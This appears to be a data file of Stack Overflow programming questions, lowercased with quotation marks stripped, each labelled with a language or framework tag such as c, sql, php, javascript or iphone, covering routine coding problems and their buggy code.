print each word in new line with removing extra space in c programming  <strong>my source code</strong>       <pre><code>    for(i=0;str[i]!= \0 ;i++)     {         if(str[i]!=   ){             str2[j]=str[i];             flag=1;         }          if(flag==1 &amp;&amp; str2[j]!=   )         {            printf( \n );            printf( %c  str2[j]);             flag=0;         }     } </code></pre>   <strong>my output:</strong>   <pre><code>i am      joe  i a m j o e </code></pre>   but i want output like this:   <pre><code>i  am joe </code></pre>   i want each of the word prints in new line like <code>i</code> in one line <code>am</code> in another line and <code>joe</code> in another line also need to remove extra space before <code>joe</code>,c
handling a c array passed in an objective c method  i have seen <a href= https://stackoverflow.com/questions/853698/how-to-pass-an-array-in-by-reference-to-a-function-in-objective-c >this question</a> and its answers and they clear up some of my confusion  but i m still concerned about a couple things:    consider this:   <pre><code>int somecarray[5]={1 2 3 4 5};  [self processingthearray:somecarray]; </code></pre>   the method is described as:    <code>-(void)processingthearray:(int)thecarray;</code>    now  the above works  even though i gather it is not the right way to do it. it does provide a compiler warning: <code>incompatible pointer to integer conversion.</code> <strong>need i be concerned since this is working anyway </strong>    using the method in the above linked so question  i could do this:    <code>-(void)processingthearray:(int)thecarray size:(nsuinteger)length;</code>    however  what do i do with <code>length</code> inside <code>processingthearray</code>,objective-c
getting the selected html element offset related to the html source code with js  can i get the offset of a selected html element in the html source code     for example:    <code>&lt;html&gt;       &lt;body&gt;        &lt;a href= http://google.com &gt;google&lt;/a&gt;       &lt;/body&gt;      &lt;html&gt;</code>    if the user would select the google text  i would want to get 40 as this is the offset from the start of the source.    i tried with range object but couldn t find something helpful with this one.     thanks!,javascript
authorize attribute with multiple roles asp.net  it seem like i can t have both roles. if i use only  administrator  its works and if only  advisor  it also works but not work with when i code both of them so any idea or help  i need both roles    here is my code    <pre><code>protected sub page_load(byval sender as object  byval e as system.eventargs) handles me.load        check that the user is a registered user     if user.identity.isauthenticated = false then         response.redirect( unauthorized.aspx )     end if        check that the user belongs to the role administrators     if roles.isuserinrole( administrator ) = false then         response.redirect( unauthorized.aspx )     end if        check that the user belongs to the role advisor      if roles.isuserinrole( advisor ) = false then          response.redirect( unauthorized.aspx )      end if   end sub </code></pre>,asp.net
select from multiple tables with multiple conditions  i have a problem. i have three tabels  named authors  books_authors and books and i m trying to select from these three tables only the books written by lev tolstoi. this is what i have right now  but it s not working   <pre><code>select    authors . lastname  as  lastname         authors . firstname  as  firstname         books . name  as  name    from     books_authors         books         authors    where    authors . id = books_authors . id_author   and      books_authors . id_book = books . id   and      authors . lastname = tolstoi    and      authors . firstname = lev  </code></pre>   i have tables on this site named iacademy3.oracle.com and the error is   <blockquote>     ora-00936: missing expression   </blockquote>,sql
how to get current time with format example: 2018-01-22t11:48:39.396000z in javascript   sorry if i have a very basic question to ask but i can t find it in google and stackoverflow too.    how to get current time with format example: 2018-01-22t11:48:39.396000z in javascript     please help me. thanks!,javascript
how to return server response via $service.save()  i am new in angularjs and i have got this problem. i have got defined service <code>citiesservice</code> with method <code>addcity</code>:   <pre><code>.service( citiesservice   [ $resource   function($resource){     this.addcity = function(city) {         var cityitem = $resource( server/ module=cities&amp;action=add   {}  {save: {method:  post   isarray:true}});          return cityitem.save({             city: city         });     }; }]) </code></pre>   it works fine  the new city was successfully added into db via the php script  but i don t know  how to return server response. server returning response like:   <pre><code>$output = []; $output[] = [ success  =&gt;  added to database ]; echo json_encode($output); </code></pre>   and then i have got this controller:   <pre><code>.controller( citiesaddctrl   function($scope  $modalinstance  citiesservice) {                // save addcity form (modal)     $scope.saveform = function() {         if($scope.city.name) {             $scope.a = citiesservice.addcity($scope.city);           }     } }) </code></pre>   but i really don t know  how to display server json response. when i try something like <code>console.log($scope.a)</code>  it shown empty array  but as you can see  the server response is in the right debug menu:    <a href= https://i.stack.imgur.com/jledv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jledv.png  alt=  ></a>    can you help me to solve this problem please  i read some stackoverflow topics and tried some edits  which are described here  but nothing works for me.,angularjs
how to act as dhcp server using c#   i want my application(desktop app or web) to act as dhcp server to provide any pc trying to connect at my local network it s ip and dns according to it s mac-address .    i m thinking to change my router s  dhcp server ip  to my pc ip  so when another pc want to connect to network  my pc provide it by ips  but i don t know how to do this  i hope my question is clear,c#
converting string to wchar_t (wide character) c++  i want to know how i can convert <code>string str =  whatever </code> to <code>wchar_t</code> so that the string can be stored as <code>wchar_t chresponse[] = ...(converted from string)..</code>    i am trying the following code:   <pre><code>string str =  whatever ; std::wstring_convert&lt;std::codecvt_utf8&lt;wchar_t&gt;&gt; utf8conv; auto w_result = utf8conv.from_bytes(str); // convert utf8 to wchar_t wchar_t chresponse[] = w_result; </code></pre>   its giving me this error:    <pre><code>error c2075:  chresponse  : array initialization needs curly braces </code></pre>,c++
how to find the column name to write in excel cell  i am using eclipse  selenium web driver  apache poi  java. i am very new to this and java.    i have xls file with 3 columns: email  pw  result. i have 3 rows of data. result column is blank.     each iteration  script should read email and pw and then perform action. then write result in result column.    continue until it reaches the last row.     i hard coded the column number and it works. i am not able to figure out how to find the column number with header  result  and then how to write in the cell for the corresponding row.    <pre><code>    file file =    new file( c://dd.xls );      try {         // open the excel file         fileinputstream fis = new fileinputstream(file);          // access the required test data sheet         hssfworkbook wb = new hssfworkbook(fis);         hssfsheet sheet = wb.getsheet( sheet1 );         int totalrow;         int totalcol;         totalrow = sheet.getlastrownum();         totalcol = sheet.getrow(0).getlastcellnum();         system.out.println( row   + totalrow +    col   +  totalcol);           // loop through all rows in the sheet         // start at row 1 as row 0 is our header row         for(int count = 1;count&lt;=sheet.getlastrownum();count++){             //for(int col = 1;col&lt;=totalcol;col++){                hssfrow row = sheet.getrow(count);              system.out.println( running test case   + row.getcell(0).tostring() +      +  row.getcell(1).tostring());              hssfcell hssfcell = row.getcell(totalcol-1);              string value = count +  aa ;              hssfcell.setcellvalue(value);}           // }         fis.close();         fileoutputstream outputstream = new fileoutputstream(file);         wb.write(outputstream);         outputstream.close();  } catch (ioexception e) {     system.out.println( test data file not found ); }  </code></pre>   <a href= https://i.stack.imgur.com/znars.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/znars.png  alt= enter image description here ></a>    <a href= https://drive.google.com/open id=1jqefyaffunknolrj6i4sxooq2likt3xtgssdzaxsbfq  rel= nofollow noreferrer >https://drive.google.com/open id=1jqefyaffunknolrj6i4sxooq2likt3xtgssdzaxsbfq</a>,java
ios. using music to generate game levels  is it possible to generate game levels using music without of violation of apple s rules for applications in app store,ios
stange output with split a string from file by a space  counter.txt    1 2 3<br> 4 5 6<br> 7 8 9<br>   <pre><code>void  split_str(char line_str[10]) {      int i  j;     i=0;      char  sub_str[10][20];        char  *token;      token = strtok(line_str    );           while (token != null) {         strcpy(sub_str[i]  token);            i=i+1;         token=strtok(null    );        }         for (j=0; j&lt;=i; j++)         printf( the char is %s\n  sub_str[j]);   } //split_str  void main() {      file_ptr=fopen( counter.txt    r );      while ( fgets ( line  sizeof line  file_ptr ) != null ) {          split_str(line);     }            fclose ( file_ptr ); } </code></pre>   result:<br> the char is 1<br> the char is 2<br> the char is 3<br>    the char is 。  //a space with double quota<br> the char is 4<br> the char is 5<br> the char is 6<br>    the char is 。 <br> the char is 7<br> the char is 8<br> the char is 9<br> the char is 。     。is space  this web site trimmed     there are some char      a space with double quota that i unexpected  what is that  thanks,c
problem in downloading image from server in iphone  i have an image named  john and tony.png .when i tried to download the image from my code with this name via an http request no image is shown.but if i remove the space between the words like  johnandtony.png  then there is no problem to download the image.but i can t want to remove the spaces.is there any way to do that     thanx,iphone
a doubt with getting input for character arrays  i was coding a program to find the longest common sub-sequence today and i was getting the elements of the each sequence into a character array. but i ran into a little problem. i used a for loop to get the elements but not matter how high i set the number of iterations the loop should execute it always terminated after 5 iterations. the array into which the data was being input was an array of size 10 so there were no issues with the array size. i coded a small test program to check and even in the test program the for loops that get data for a character array always terminate after 5 iterations . can someone tell me why  ( i am forced to use turbo c++ in my lab)   <pre><code>#include&lt;stdio.h&gt; void main() {      int i;      char s[10];      for(i=0;i&lt;10;i++)      scanf( %c  &amp;a[i]);  } </code></pre>   the above code was the test program.for loop terminated after 5 iterations here too !,c
c++: difference between contructor() and constructor(void)  i have noticed that when i create a new c++ class in visual studio  it writes down <code>foo(void)</code> and <code>~foo(void)</code> as constructor and destructor templates instead of <code>foo()</code> and <code>~foo()</code>. however  both versions seem to work. is there a difference between both or does it not matter at all which version i use,c++
how does rails calculate the response code for actions  how does rails calculates the response codes for controller actions     given the following controller action:   <pre><code>def update   respond_to do |format|     if @user.update(user_params)       format.html { redirect_to @user  notice:  user was successfully updated.  }       format.json { head :no_content }     else       format.html { render action:  show  }       format.json { render json: @user.errors  status: :unprocessable_entity }     end   end end </code></pre>   (i m using the same view to show and edit the record)    with this positive test:   <pre><code>test  should update basic user information  do   user = users(:jon)   user.first_name= jonas    put :update  :id =&gt; user.id  :merchant_user =&gt;user.attributes   assert_response :found   user = merchant::user.find(user.id)   assert user.first_name ==  jonas    should update basic user information  end </code></pre>   and a negative test is like this:   <pre><code>test  should not update user email for an existing email  do   user = users(:jon)   original_user_email = user.email   existing_user_email = users(:doe)   user.email=existing_user_email.email   put :update  :id =&gt; user.id  :merchant_user =&gt;user.attributes   assert_response :success   user = merchant::user.find(user.id)   assert user.email == original_user_email   should not update email for an exising one  end </code></pre>   updating the record successfully  causes a 302 response code  which i assume that rails defaults to 302 for the get resource/:id. a failure to update the record cause a 200 ok.    how are these response codes being calculated and how can i override them     thanks,ruby-on-rails
how to insert text next to image  i have attached an image  i want to display the full text next to image. but in the picture you can see that some text is below the image.    <a href= https://i.stack.imgur.com/tiypd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tiypd.png  alt= enter image description here ></a>,html
how to convert string to int32 to hex and store into buffer  i m trying to convert a string to string and then to hex. the string value represent for example an integer like 266. the main reason why i do this  i store all my values in the string and want send them over network to a host  therefore i must represent all values as hex. if i convert string  <code>266</code>  to int32 and then to hex  <code>0x010a</code>  and store the hex value in a buffer  the buffer contains  <code>30 31</code>  and not 0x010a. here is an running example of my problem.   <pre><code>#include &lt;stdio.h&gt; /* printf */ #include &lt;stdint.h&gt; /* int32_t*/ #include &lt;stdlib.h&gt; /* strtol  malloc */ #include &lt;string.h&gt; /* memcpy */  int integer_to_hex(         char **out_hex          int *out_len          int32_t value) {     *out_len = 0;     *out_hex = null;     if ( value &lt; 128 &amp;&amp; value &gt; -128)     {         *out_len = 1;         *out_hex = malloc(*out_len);         sprintf(*out_hex  %02x   value &amp; 0xff);         return 0;     }     else if (value &lt; 32767 &amp;&amp; value &gt; -32767)     {         *out_len = 2;         *out_hex = malloc(*out_len);         sprintf(*out_hex  %04x   value);         return 0;     }     return -1; }  int main() {     char *value_str =  266 ;     int32_t val_int = strtol(value_str null 10);     char *out_hex;     int out_len;     int ret_val = integer_to_hex(&amp;out_hex  &amp;out_len  val_int);     printf( ret_val=%d\n   ret_val);     printf( out=%s\n   out_hex);     printf( out_len=%d\n   out_len);     char *buffer = malloc(out_len);     memcpy(&amp;buffer  &amp;out_hex  out_len);     int i;     for(i=0;i&lt;out_len;i++)         printf( buffer=%02x\n   buffer[i]);     return 0; } </code></pre>   the output:   <pre><code>ret_val=0 out=010a out_len=2 buffer=30 buffer=31 </code></pre>,c
updating data not working. no error but the data do not change  i m stuck for whole day because thinking about the update data problem. there was no error  when click update  it s successful but the data not updating. here is my index.php   <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;daftar mahasiswa&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt; php $sambung = mysql_connect( localhost    root     ) or die ( gagal konek ke server. ); mysql_select_db( kuih2 ) or die ( gagal membuka database. );  &gt; </code></pre>   the table for view the data...   <pre><code>&lt;table border= 5 &gt;     &lt;tr&gt;     &lt;th&gt;id&lt;/th&gt;     &lt;th&gt;item&lt;/th&gt;     &lt;th&gt;name&lt;/th&gt;     &lt;th&gt;address&lt;/th&gt;     &lt;th&gt;contact&lt;/th&gt;     &lt;th&gt;total item&lt;/th&gt;     &lt;th&gt;total&lt;/th&gt;     &lt;th colspan= 3 &gt;aksi&lt;/th&gt;     &lt;/tr&gt;     &lt; php     $query =  select * from itemorder ;     $result = mysql_query($query  $sambung);     //$no = 0;     while ($buff = mysql_fetch_array($result)){     //$no++;      &gt;     &lt;tr&gt;     &lt;td&gt;&lt; php echo $buff[ id ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo $buff[ item ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo $buff[ name ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo $buff[ address ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo $buff[ contact ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo $buff[ totalitem ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt; php echo $buff[ total ];  &gt;&lt;/td&gt;     &lt;td&gt;&lt;a href= edit.php id=&lt; php echo $buff[ id ];  &gt; &gt;edit&lt;/a&gt;&lt;/td&gt;     &lt;td&gt;&lt;a href= hapus.php id=&lt; php echo $buff[ id ];  &gt; &gt;hapus&lt;/a&gt;&lt;/td&gt;     &lt;/tr&gt; </code></pre>   another code...   <pre><code>&lt; php     }     mysql_close($sambung);      &gt;     &lt;/table&gt;     &lt;p align= left &gt;&lt;a href= tambah.html &gt;tambah data&lt;/a&gt;&lt;/p&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   update.php code   <pre><code>&lt; php include( koneksi.php ); $id = $_post[ id ]; $item = $_post[ item ]; $name = $_post[ name ]; $address = $_post[ address ]; $contact = $_post[ contact ]; $totalitem = $_post[ totalitem ]; $total = $_post[ total ]; $query = mysql_query( update itemorder set item= $item   name= $name   address= $address  contact= $contact   totalitem= $totalitem  total= $total  where id= $id  ); echo  data telah diupdate&lt;br&gt; &lt;a href=\ index.php\ &gt;kembali&lt;/a&gt; ;  &gt; </code></pre>   edit.php code   <pre><code>&lt; php  $sambung = mysql_connect( localhost    root     ) or die ( gagal konek ke server. ); mysql_select_db( kuih2 ) or die ( gagal membuka database. ); //$edit=mysql_query( select * from mhs where nim= $_get[nim]  ); //$r_edit=mysql_fetch_array($edit); $id = $_get[ id ]; $query =  select * from itemorder where id= $id  ; $result =  mysql_query($query  $sambung) or die( gagal melakukan query );      $buff = mysql_fetch_array($result);                  mysql_close($sambung);  &gt; &lt;html&gt; &lt;head&gt;&lt;title&gt;edit data&lt;/title&gt;&lt;/head&gt; &lt;body&gt; &lt;form name= form1  method= post  action= update.php &gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;id&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= id  value= &lt; php echo $buff[ id ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;item&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= item  value= &lt; php echo $buff[ item ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;name&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= name  value= &lt; php echo $buff[ name ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;address&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= address  value= &lt; php echo $buff[ address ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;contact&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= contact  value= &lt; php echo $buff[ contact ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;total item&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= totalitem  value= &lt; php echo $buff[ totalitem ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;total&lt;/td&gt;&lt;td&gt;&lt;input type= text  name= total  value= &lt; php echo $buff[ total ];  &gt; &gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;input value= simpan  type= submit  name= submit /&gt; &lt;input type= button  value= kembali  onclick= self.history.back() &gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,php
is there any way to make pdf scrollable in the horizontal way   i am showing a pdf in the web view and by default this has been showing in the vertical scroll way  i just need it in the horizontal way scrollable  can it be done using the web view .    thanks,iphone
how can i make this code run   i can t seem to find the issue in my code. it seems like everything is fine. i m supposed to output the product and sum of two integers.    <pre><code>#define _crt_secure_no_warnings #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  main() {   int number1  number2  productresult  sumresult;  printf( enter first number:  ); scanf( %i   &amp;number1); productresult = number1 * number2;  printf( enter second number:  ); scanf( %i   &amp;number2); sumresult = number1 + number2;  printf( the product is: %i \n   productresult); printf( the sum is:s %i \n   sumresult);  system( pause ); } // end of main </code></pre>,c
ios - searchdisplaycontroller - searchbar style  i m working with searchdisplaycontroller and want to apply a style or tint to the searchbar.  but i noticed that the searchdisplaycontroller makes changes to the style of my searchbar.    for example if i use the  dark text color  tint on my searchbar  when running the app  i ll obtain a grey style. but if i remove the searchdisplaycontroller linked to the searchbar  the style in the app is ok.    this image shows the difference between the searchbar in the storyboard and in the app. <img src= https://i.stack.imgur.com/pceff.png  alt= difference between searchbar in the storyboard and in app >    note: if i use the default style  i don t have any problem.    i don t understand what changes the searchdisplaycontroller adds to the searchbar. am i missing something or doing something wrong,ios
iphone replacement control for three radio buttons - opinions   i have a scenario where we need to present the user with a question that has three possible answers. yes/no/don t know. normally on a web form i would use three radio buttons for this. what - in your opinions - would be the best solution for an iphone native app...    i looked at the segmented control but it doesn t quite seem to fit the bill (this control normally changes the view in some way i believe).    i m just looking for some feedback from the community before we go ahead with this...    thanks  deano.,iphone
why is my for loop crashing on a vector of doubles   this for loop always crashes immediately:   <pre><code>for (auto i = v.size() - 1; i &gt;=0; --i); </code></pre>   obviously i have a whole load of code in the loop  and v is a vector of doubles. i m trying to iterate over them in reverse order.    what is going on here,c++
sql query in mysql  i am using php and mysql and need help to display <code>unique</code> results for a price comparison.    my tables are:    tblitems   <pre><code>id | sku | shop | name | size 1     s1   shop1   a      s 2     s2   shop1   b      m 3     s3   shop1   c      l 4     s4   shop2   a      s </code></pre>   tblproductfeed   <pre><code>id | sku | shop | price 1     s1   shop1   12 2     s2   shop1   14 3     s3   shop1   15 4     s4   shop2   11 </code></pre>   the idea is a price comparison.    i want to compare all records where size= s . but i only want to get the lowest price from tblproductfeed  and i only want one record where the price is lowest.    my thoughts are like:   <ol> <li> get sku  shop and name from tblitems where size= s  </li> <li> compare matching rows in tblproductfeed where sku and shop are matching </li> <li> get the lowest price from tblproductfeed </li> </ol>   display only one <code>distinct</code> name from tblitems and with the lowest price    results:   <pre><code>name | price a       11 b       14 c       15 </code></pre>   maybe my idea is bad  please correct me.    before i decided to scrap data and build to tables my sql was like this  might help to get some inspiration.   <pre><code>    select tbl.*        from tblproductfeed tbl  inner join (select size                      min(price) minprice                from tblproductfeed               where size =   . $str .                 group by size) tbl1          on tbl1.size = tbl.size       where tbl1.minprice = tbl.price; </code></pre>,mysql
is it possible to use the meiomask jquery plugin to format a string according to some mask   i am using <a href= http://www.meiocodigo.com/projects/meiomask/  rel= nofollow >meiomask</a> to mask input. there is a label where i display the result of a certain computation. i would like this result to be formatted as decimal-us  but this is not an input field. in fact  this is not even a label - it is just text inside a table cell.    i wonder if i can use meiomask to format a string according to a mask in a sort of off-line mode  no input field attached.    is it possible     <strong>edit</strong>    i am aware that i can use read-only input fields. the question  though  is interesting in itself.,jquery
how to use iphone camera in burst mode  in one of my project i have to use the iphone camera in  burst mode . how it could be done  if possible,iphone
angularjs show the message provided by module  i m developing a mean stack application for educational purpose and i faced a problem while try to deal with angular modules and controllers.    here is my modules.js code   <pre><code> use strict ;  var myapp = angular.module( myapp   [ ngroute ]);  myapp.config(function($routeprovider  $locationprovider) {     $locationprovider.html5mode(false).hashprefix(  );     $routeprovider         .when( /test1   {             templateurl :  views/test1.html               controller:  testcontroller               message:  test 1          })         .when( /test2   {             templateurl :  views/test2.html               controller:  testcontroller               message:  test 2          }); }); </code></pre>   here is my test.controller.js code   <pre><code>myapp.controller( testcontroller   [ $scope   function($scope) {    // some code }]); </code></pre>   and i have test1.html and test2.html files with this code segment.   <pre><code>&lt;div ng-app= myapp &gt;     &lt;div ng-controller= testcontroller &gt;         &lt;span&gt;{{ message }}&lt;/span&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   how to show the messages  test 1  and  test 2  which are defined in modules.js file  in test1.html and test2.html respectively,angularjs
can css access the content of an element as it can the attributes  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/7175113/content-attribute-to-inherit-node-value >&#39;content&#39; attribute to inherit node value</a>    </blockquote>     i know you can access the content of an element s attribute like this:   <pre><code>a[href]:after { content:   (  attr(href)  ) ; } </code></pre>   is there a way to access the actual textual content of the element  what i need to do is make an <code>&lt;h2&gt;</code> on the page appear as if it s duplicated (for styling purposes) without actually having it duplicated in the markup.    i can t pull this off with a simple <code>text-shadow</code> because i need this duplicated version to appear behind an image while the original appears above.,css
jquery selecting closest div  categories div is hidden and i want it to be shown when toggler is hovered. any help would be appreciated.    html   <pre><code>&lt;div class= categorization &gt;  &lt;a href= #  class= toggler &gt;something&lt;/a&gt;   &lt;div class= categories &gt;  &lt;/div&gt;  &lt;/div&gt; </code></pre>   i tried this.    jquery   <pre><code>  $( .categorization .toggler ).hover(function() {    $(this).closest( .categories ).show();   }  function(){    $(this).closest( .categories ).hide();   }); </code></pre>,jquery
sql query with many to many relationship  we have many-to-many relationship and these are the details for the same and its non-hierarchical data.    for a user name test 1 >> find team  >> and the find others members of the team   <pre><code> table team (team table)      id name      1  ninja     2  maverick     3  transformer   table user (user table)     id name email     1  test1 test1@test.com     2  test2 test2@test.com     3  test3 test3@test.com   table team_user_map (user map)     id user_id team id     1  1       1     2  1       2     3  2       3     4  2       1     5  3       1     6  3       2     7  3       3 </code></pre>   <strong>problem statement</strong>:    depending upon the user name  i need to find all other s user for same team.    so for user name =  test1   i need to  find the team its belongs and other user belonging to same team.,sql
formatting price  i want to display my price value like after decimal point only two digits to display. i try this.   <pre><code>lbldiscount.text = string.format( {0:c}    convert.tostring(sdis)); </code></pre>   but it is displaying three digits after point. can you please tell me how to format price,asp.net
how to reload simple_captcha image  i d like to have a link under simple_captcha image. click to link should reload simple_captcha image. i can t find in gem any information about it. how can i update it  thanks for advance.,ruby-on-rails
calculate length of user input to prevent overflow when outputting in div  i am reading a string my user is inputting via php and i need to spit it back out in a div tag. this div tag has a width of 500px. if the user enters a word that is too long  the word will overflow the container. if the user enters two words that are almost two long  it will split into two lines.    my question is how do i determine if a word is too long or not  i have tried setting a character count  which is not an accurate representation of length as certain characters (ie w and i) have different widths. is there a solution     my current algorithm is to break the user input into chunks  each of 40 characters  and output it.,php
fetching a html page dynamically and animating it - jquery  i want to fetch a html page and display it with a fadein animation... but the fetching doesn t work and due to this even the animation   <pre><code>$(document).ready(function() { var src;      $.ajax({         url:  pages/sample.html           success: function (data) { src=data }          datatype:  html       });      console.log(src);   **// throws undefined**      //to animate     $(function() {         $( html )             .hide()             .html(src)             .fadein(5000);     }); }); </code></pre>,jquery
"loop through keys inside multi dimensional object  i have an object with multiple objects  and need to create a loop for each key within each object.     i need the console to log something like this.   <pre><code>iron tibc carbon dioxide sodium etc... </code></pre>   this is what i have tried so far    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>(function() {
   var blood = {
      blood : {
        one : {
          iron :  iron  
          tibc :  tibc  
 
       } 
        two : {
          cd :  carbon dioxide  
          sodium :  sodium  
          potassium :  potassium  
          chloride :  chloride  
       } 
        three : {
          cholesterol :  cholesterol  
          dhdl :  direct hdl  
       } 
        four : {
          rigg :  rubella igg  
          hbsag :  hbsag  
          ahiv :  anti-hiv 1+2  
          estrdiol :  estradiol  
          fsh :  fsh  
       }
     }
   }
 
   for (var key in blood) {
     if (blood.hasownproperty(key)) {
       var newkey = blood[key]
 
       for (var key in newkey) {
         if (newkey.hasownproperty(key)) {
           //do stuff
           console.log(newkey[key])
         }
       }
 
     }
   }
 })</code></pre>
 </div>
 </div>",javascript
loop user input for years entered   i am trying to get to grips with some c# exercises as a beginner to programming. i currently looking at a rainfall program that has to  grt the user to input the rainfall over the  a number of years and calculate the total and average rainfall per year. how do i get the loop to run for the number of years that the user has input  i have tried this and the loop is infinite  int numyears = 0;   <pre><code>        int rainfall = 0;         double avrrainfall = 0.0;          string[] month = {  january    february    march    april    may    june    july    august    september    october    november    december  };            console.writeline( please enter number of years );         numyears = int.parse(console.readline());           while(numyears &lt;= 1)         {              console.writeline( minimum number of years is 1 please re-enter );             numyears = int.parse(console.readline());          }        for (int y = 0; y &lt;= numyears;)           for(int i = 0; i &lt; month.length; i ++)          {              console.writeline(  enter inches of rainfall for {0}   month[i]);               console.readline();          }          for (int i = 0;i &lt; month.length; i++)         {             console.writeline(  {1} total   i + 1  month[i]);         }                console.readline(); </code></pre>,c#
how to join multiple select statements in sql and display in different colums  i wrote a query that joins two tables that shows the total <code>no. of appointments</code> and <code>leads</code> using the <code>union</code> keyword and i would like the result of this query to be displayed in two different columns  i am having a tough description      <pre><code>select count(filteredappointment.createdbyname) as appointment from  filteredbusinessunit  inner join filteredsystemuser      on filteredbusinessunit.businessunitid = filteredsystemuser.businessunitid  inner join filteredappointment      on filteredsystemuser.systemuserid = filteredappointment.createdby union select count(filteredlead.fullname) as lead from  filteredbusinessunit  inner join filteredsystemuser      on filteredbusinessunit.businessunitid = filteredsystemuser.businessunitid  inner join filteredlead      on filteredsystemuser.systemuserid = filteredlead.createdby where (filteredbusinessunit.name in (@branch)) </code></pre>   my desired result is:   <pre><code>criteria | appointment | leads total    | 200         | 123 </code></pre>,sql
ror: syntax error  unexpected tstring_beg  expecting  )   i am getting the following error in my rails view:    <pre><code>app/views/welcome/index.html.haml:55: syntax error  unexpected tstring_beg  expecting  )  ...ut.attributes({}  nil  :value= #{num} )}&gt;#{_hamlout.adjust_t... ... ^  </code></pre>   here is the two lines that cause it (54 and 55 respectively)   <pre><code>=(1..52).each do |num|       %option{:value= #{num} } #{num.to_s} weeks </code></pre>   i am bassically just trying to connect  number   with  weeks  with the <code>+</code> string operator.  but i am clearly in the wrong on my approach.,ruby-on-rails
.net based faq engine  i have searched but could not find a faq  engine  built on .net platform.    i found many in php  the most common of which is <a href= http://www.phpmyfaq.de/  rel= nofollow >phpmyfaq</a>.     are there any similar system in .net,.net
can anyone help me understand these two programs   program 1:    <pre><code>public class valandreftypes {  public static void main(string[] args) {     int x=5;     addoneto(x);     system.out.println(x);  }  static int addoneto(int num){     num=num++;     return(num);//outputs 5 } </code></pre>   program 2:   <pre><code>public class valandreftype1 {  public static void main(string[] args) {     int a=2 b=3;     system.out.println( the sum is:   + add(a b)); }   static int add(int num int num1){     num++;     num1++;     return(num+num1); //outputs 7 } </code></pre>   why does the first program not output the incremented value of the variable  x   but the second program outputs the incremented value of variables  a  and  b       i also would like to ask whether this has any relation with value types and reference types.     tia for the answer!,java
maximum length of a column name in mysql  i am working with mysql and have a column name with length 70.<br> so  i am getting error which states that the column name is too long.<br> now  i just want to know what is the maximum length of column name in mysql,mysql
javascript: uncaught typeerror: not a function  i m building a website which utilises the following code:    <strong>html:</strong>   <pre><code>&lt;div onclick= linkpopup() &gt;&lt;/div&gt; &lt;button type= button  id= hidepopup  onclick= hidepopup() &gt;cancel&lt;/button&gt; </code></pre>   <strong>javascript:</strong>   <pre><code>function linkpopup(questionnumber) {         document.getelementbyid( linkpopup ).style.display =  block ;         document.getelementbyid( addlink ).setattribute( onclick    addlink(  + questionnumber +  ) );     }      function hidepopup() {         document.getelementbyid( linkpopup ).style.display =  none ;         document.getelementbyid( overlay ).style.display =  none ;     } </code></pre>   for some reason i get the following error in chrome s developer tools:   <blockquote>    uncaught typeerror: hidepopup is not a function  </blockquote>   what is the route of this issue and how can i prevent this from happening in the future,javascript
taking a query and loading an array with unique values from one of the query fields   rails 2.3.5    i have a query whose results contain a  week_of  date stamp.   to work with the results  i need a unique list of the  week_of  dates in a seperate array.    i did what i was wanting like below  i was just wondering if there s an easier/shorter way to do something like this (take a query and then load an array with the unique values in one of the query fields).  thanks!   <pre><code>  @test = []    @my_query.each do |x|     if @test.size &gt; 0       flag = 0       @test.each do |t|         if t == x.week_of           flag = 1         end       end       if flag == 0         @test &lt;&lt; x.week_of       end     else       @test &lt;&lt; x.week_of     end   end </code></pre>,ruby-on-rails
how to remove hover effect from <md-button>   when i move mouse over <strong>md-button</strong> it highlights and when i click it remains highlighted but i don t want that i want <strong>remove hover effect</strong>  how can i do this,angularjs
asp.net formview generates table at fixed width 259px  dynamically generated table in fromview is causing problem in my jquery mobile page. i have narrowed it down to the table that is generated is fixed at a width of 259px with an id of <code>table#ctl00_contentplaceholder1_formview1</code>    i m not sure how to change this to dynamic in asp.net fromview:   <pre><code>&lt;asp:formview id= formview1  runat= server  datakeynames= fdid  datasourceid= accessdatasource1  defaultmode= insert &gt;                       &lt;edititemtemplate&gt;                 &lt;ul data-role= listview  id= ul-edit-picks  data-divider-theme= a  data-inset= true  data-scroll= true &gt;             &lt;li data-role= list-divider &gt;                 &lt;h2 id= itemtitle &gt;                 &lt;asp:label id= label1  runat= server  text= &lt;%# eval( fdid )%&gt;  font-bold= true  font-size= medium &gt;&lt;/asp:label&gt;                 : selections&lt;/h2&gt;             &lt;/li&gt;  ... </code></pre>,asp.net
